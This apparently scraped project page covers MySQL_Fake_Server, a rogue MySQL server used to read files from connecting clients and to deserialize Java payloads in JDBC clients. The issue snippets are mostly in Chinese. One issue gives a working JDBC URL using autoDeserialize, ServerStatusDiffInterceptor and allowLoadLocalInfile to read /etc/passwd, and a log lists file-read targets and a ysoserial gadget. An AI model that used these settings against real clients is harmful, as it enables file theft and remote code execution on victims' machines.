MySQL_Fake_Server
MySQL_Fake_Server copied to clipboard
MySQL Fake Server use to help MySQL Client File Reading and JDBC Client Java Deserialize
报错 如下
 大哥求解 搞了一天了 心好累
执行jdbc任意文件读取的时候,报错“但客户端的功能被“allowLoadLocalInfile”禁用 ”。这个可以通过修改mysql配置生效,但是发现生效后连接的时候还是会报以上问题。 最后通过jdbc连接的时候添加参数解决 添加`allowLoadLocalInfile=true` 最终8.x的语句如下 String DB_URL = "jdbc:mysql://39.10x.xx.xx:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&allowLoadLocalInfile=true&user=fileread_/etc/passwd
 ``` MySQL Fake Server Author:fnmsd(https://blog.csdn.net/fnmsd) Load 8 Fileread usernames :[b'database', b'win_ini', b'win_hosts', b'win', b'linux_passwd', b'linux_hosts', b'index_php', b'ssrf'] Load 1 yso usernames :[b'Jdk7u21'] Load 2 Default Files :[b'/etc/hosts', b'c:\\windows\\system32\\drivers\\etc\\hosts'] Start...
当设置几个路径去读取的时候,其中一个路径不存在,会返回Nothing had been read,但是当进行下一个文件读取时会在fileData = (yield from packet.read())处卡死
数据库只有账号没有密码很不方便,但是添加密码登录一直报错
server.py:17: DeprecationWarning: "@coroutine" decorator is deprecated since Python 3.8, use "async def" instead def accept_server(server_reader, server_writer): server.py:21: DeprecationWarning: "@coroutine" decorator is deprecated since Python 3.8, use "async def" instead def...
报错信息:ValueError: 45 is not a valid CharacterSet  需要修改MySQL_Fake_Server-master\mysqlproto\protocol\flags.py文件的CharacterSet枚举类,将缺少的字符集加进去   写个Issues,给后面出现该问题的小伙伴提示
修改了python3.8以上异步协程问题
D:\D\MySQL_Fake_Server-master>python server.py Traceback (most recent call last): File "D:\D\MySQL_Fake_Server-master\server.py", line 7, in from mysqlproto.protocol import start_mysql_server File "D:\D\MySQL_Fake_Server-master\mysqlproto\protocol\__init__.py", line 27, in class MysqlPacketReader: File "D:\D\MySQL_Fake_Server-master\mysqlproto\protocol\__init__.py", line 51, in MysqlPacketReader @asyncio.coroutine...